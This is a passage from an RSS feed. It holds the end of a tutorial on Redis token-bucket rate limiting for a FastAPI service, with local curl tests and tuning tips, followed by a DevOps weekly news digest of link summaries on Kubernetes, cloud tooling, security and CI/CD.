<h2 id="h2-seeing-it-work" class="group relative scroll-mt-24">
        <a href="#h2-seeing-it-work" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Seeing it work
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-seeing-it-work"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Fire a quick loop at the endpoint and watch the limit kick in:</p>
<pre><code class="hljs language-text">$ for i in $(seq 1 12); do \
    curl -s -o /dev/null -w &quot;%{http_code} &quot; http://localhost:8000/api/data; \
  done
200 200 200 200 200 200 200 200 200 200 429 429
</code></pre><p>The full response on a rejected request:</p>
<pre><code class="hljs language-text">$ curl -i http://localhost:8000/api/data
HTTP/1.1 429 Too Many Requests
content-type: application/json
retry-after: 1
x-ratelimit-limit: 100
x-ratelimit-remaining: 0

{&quot;error&quot;:&quot;rate limit exceeded&quot;,&quot;retry_after&quot;:1}
</code></pre><p>And the bucket state itself, straight from Redis:</p>
<pre><code class="hljs language-text">$ redis-cli HGETALL rl:203.0.113.45
1) &quot;tokens&quot;
2) &quot;0&quot;
3) &quot;last&quot;
4) &quot;1717840800.123&quot;
</code></pre><p>Tokens at zero, last access timestamped. Wait a second and the Lua script refills 10 tokens on the next request.</p>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Add the token bucket Lua script and FastAPI middleware to one endpoint, key it off the API key, and load test it with <code>hey -z 30s -c 50 http://localhost:8000/api/data</code> to confirm the 429s show up where you expect.</li>
<li>Set your <code>capacity</code> and <code>refill_rate</code> from real traffic, not guesses. Pull your p99 requests-per-second per client from logs and set the sustained rate a bit above that, with capacity for a 5 to 10 second burst.</li>
<li>Pick fail-open or fail-closed per endpoint group and write it into the code, not a wiki page.</li>
<li>Add <code>X-RateLimit-*</code> headers to every response and document them so client teams can back off gracefully.</li>
<li>Put a flat per-IP <code>limit_req</code> in nginx as a cheap outer wall, even if you already limit per user in the app.</li>
<li>Alert on your 429 rate. A sudden spike means either an abusive client or a limit set too low for legitimate traffic, and you want to know which before the support tickets arrive.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 24, 2026]]></title>
      <link>https://devops.anhp.site/news/2026-week-24</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/news/2026-week-24</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by be4n</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-benchmarking-kubevirt-performance-with-virtbench" class="group relative scroll-mt-24">
        <a href="#h3-benchmarking-kubevirt-performance-with-virtbench" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Benchmarking KubeVirt performance with virtbench
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-benchmarking-kubevirt-performance-with-virtbench"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Organizations migrating VM estates from traditional hypervisors to KubeVirt often discover that many Kubernetes observability tools were originally designed around container workloads rather than VM-c</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/06/08/benchmarking-kubevirt-performance-with-virtbench/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-the-future-how-garanti-bbva-manages-etcd-in-massive-red-hat-openshift-environments" class="group relative scroll-mt-24">
        <a href="#h3-scaling-the-future-how-garanti-bbva-manages-etcd-in-massive-red-hat-openshift-environments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling the future: How Garanti BBVA manages etcd in massive Red Hat OpenShift environments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-the-future-how-garanti-bbva-manages-etcd-in-massive-red-hat-openshift-environments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At the OpenShift Commons Gathering in Amsterdam on March 23—a Day Zero event for KubeCon + CloudNativeCon Europe 2026—attendees got a deep look into the engine room of 1 of Turkey&#39;s largest private ba</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/scaling-future-how-garanti-bbva-manages-etcd-massive-red-hat-openshift-environments"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-path-to-autonomous-intelligent-networks" class="group relative scroll-mt-24">
        <a href="#h3-the-path-to-autonomous-intelligent-networks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The path to autonomous intelligent networks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-path-to-autonomous-intelligent-networks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Telecommunications (telco) service providers face a landscape of massive operational complexity. As they adopt 5G standalone architectures and multivendor radio access networks (RANs), they must manag</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/path-autonomous-intelligent-networks"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-build-an-eks-environment-factory-with-pulumi-and-vcluster" class="group relative scroll-mt-24">
        <a href="#h3-build-an-eks-environment-factory-with-pulumi-and-vcluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Build an EKS Environment Factory with Pulumi and vCluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-build-an-eks-environment-factory-with-pulumi-and-vcluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS reports in an AWS Architecture Blog case study that Deloitte’s move to a virtual cluster model on Amazon EKS resulted in 89% faster testing environment provisioning. By consolidating dozens of dis</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/eks-vcluster-ephemeral-environments-with-pulumi/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-field-notes-using-the-harvester-csi-driver-to-consume-longhorn-storage-in-your-guest-cluster" class="group relative scroll-mt-24">
        <a href="#h3-field-notes-using-the-harvester-csi-driver-to-consume-longhorn-storage-in-your-guest-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Field Notes: Using the Harvester CSI Driver to consume Longhorn storage in your guest cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-field-notes-using-the-harvester-csi-driver-to-consume-longhorn-storage-in-your-guest-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When running a guest Kubernetes cluster inside SUSE Virtualization/Harvester, you get the best of both worlds: bare-metal performance with VM-level flexibility. It’s a really common pattern: you insta</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/field-notes-using-the-harvester-csi-driver-to-consume-longhorn-storage-in-your-guest-cluster/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-openshift-virtualization-421-removing-complexity-from-your-virtual-machine-networking-workflow" class="group relative scroll-mt-24">
        <a href="#h3-openshift-virtualization-421-removing-complexity-from-your-virtual-machine-networking-workflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenShift Virtualization 4.21: Removing complexity from your virtual machine networking workflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-openshift-virtualization-421-removing-complexity-from-your-virtual-machine-networking-workflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Virtualization 4.21 introduces highly anticipated networking design flows to simplify network management. Tailored to VM network requirements, this complete workflow lets you more ef</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/openshift-virtualization-421-removing-complexity-your-virtual-machine-networking-workflow"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-kubernetes-dashboard-to-headlamp-understanding-the-transition" class="group relative scroll-mt-24">
        <a href="#h3-from-kubernetes-dashboard-to-headlamp-understanding-the-transition" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Kubernetes Dashboard to Headlamp: Understanding the Transition
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-kubernetes-dashboard-to-headlamp-understanding-the-transition"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For many people, Kubernetes Dashboard was their first window into Kubernetes. It offered a simple visual way to see what was running in a cluster, inspect resources, and build confidence without relyi</p>
<p><strong>📅 Jun 1, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/06/01/dashboard-to-headlamp/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-breaking-free-of-a-single-datacenter-practical-geo-distributed-ai-operations-with-the-k0smos-platforms" class="group relative scroll-mt-24">
        <a href="#h3-breaking-free-of-a-single-datacenter-practical-geo-distributed-ai-operations-with-the-k0smos-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Breaking free of a single datacenter: Practical geo-distributed AI operations with the k0smos platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-breaking-free-of-a-single-datacenter-practical-geo-distributed-ai-operations-with-the-k0smos-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Breaking the single datacenter assumption Modern AI architectures are built on the assumption of centralized, homogeneous data centers. In reality, infrastructure is messy. For most organizations, com</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/06/08/breaking-free-of-a-single-datacenter-practical-geo-distributed-ai-operations-with-the-k0smos-platforms/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ecs-with-aws-fargate-now-supports-32vcpu-compute-configurations" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ecs-with-aws-fargate-now-supports-32vcpu-compute-configurations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon ECS with AWS Fargate now supports 32vCPU compute configurations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ecs-with-aws-fargate-now-supports-32vcpu-compute-configurations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Elastic Container Service (Amazon ECS) with AWS Fargate now supports 32vCPU compute configurations, enabling customers to run more demanding applications with greater flexibility and performanc</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ecs-fargate-32vcpu"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-identity-and-access-management-whitepaper" class="group relative scroll-mt-24">
        <a href="#h3-identity-and-access-management-whitepaper" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Identity and Access Management Whitepaper
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-identity-and-access-management-whitepaper"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As cloud native architectures become more distributed, dynamic, and automated, identity increasingly becomes the new security perimeter. Traditional approaches to authentication and authorization stru</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/06/04/identity-and-access-management-whitepaper/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-hardened-images-explained-fewer-cves-smaller-attack-surface" class="group relative scroll-mt-24">
        <a href="#h3-hardened-images-explained-fewer-cves-smaller-attack-surface" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Hardened Images Explained: Fewer CVEs, Smaller Attack Surface
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-hardened-images-explained-fewer-cves-smaller-attack-surface"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When security teams scan their container environments for the first time, they often discover hundreds of known vulnerabilities, and almost none of them trace back to application code. The overwhelmin</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/what-are-hardened-images/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-yugandhar-suthari" class="group relative scroll-mt-24">
        <a href="#h3-yugandhar-suthari" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Yugandhar Suthari
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-yugandhar-suthari"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>CNCF Kyverno maintainer, KubeCon Europe 2026 Program Committee member, KyvernoCon 2025–2026 program comittee and speaker, Golden Kubestronaut</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 KubeCon Updates</strong></p>
<p><a href="https://events.linuxfoundation.org/2026/06/03/yugandhar-suthari/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fragnesia-and-friends-when-page-cache-vulnerabilities-keep-coming-back" class="group relative scroll-mt-24">
        <a href="#h3-fragnesia-and-friends-when-page-cache-vulnerabilities-keep-coming-back" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fragnesia and friends: When page cache vulnerabilities keep coming back
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fragnesia-and-friends-when-page-cache-vulnerabilities-keep-coming-back"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A couple of weeks ago, I wrote about Copy-Fail (CVE-2026-31431) and how Red Hat OpenShift’s defense-in-depth approach prevented container escape despite a vulnerable kernel. I spent time actively tryi</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/fragnesia-and-friends-when-page-cache-vulnerabilities-keep-coming-back"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-shai-hulud-miasma-inside-the-compromise-of-red-hat-packages" class="group relative scroll-mt-24">
        <a href="#h3-shai-hulud-miasma-inside-the-compromise-of-red-hat-packages" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Shai-Hulud Miasma: Inside the Compromise of Red Hat Packages
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-shai-hulud-miasma-inside-the-compromise-of-red-hat-packages"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>An in-depth look at the Miasma supply chain attack that compromised Red Hat npm packages. Learn how the malware spread, stole credentials, abused trusted publishing, and the steps teams can take to mi</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/shai-hulud-miasma-inside-the-compromise-of-red-hats-packages"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-universe-is-back-all-together-now-in-the-agentic-era" class="group relative scroll-mt-24">
        <a href="#h3-github-universe-is-back-all-together-now-in-the-agentic-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Universe is back: All together now, in the agentic era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-universe-is-back-all-together-now-in-the-agentic-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub Universe is back: returning to the historic Fort Mason Center in San Francisco on October 28–29, 2026. The post GitHub Universe is back: All together now, in the agentic era appeared first on T</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-universe-is-back-all-together-now-in-the-agentic-era/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-securing-cicd-for-an-open-source-project-controlling-who-runs-what" class="group relative scroll-mt-24">
        <a href="#h3-securing-cicd-for-an-open-source-project-controlling-who-runs-what" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
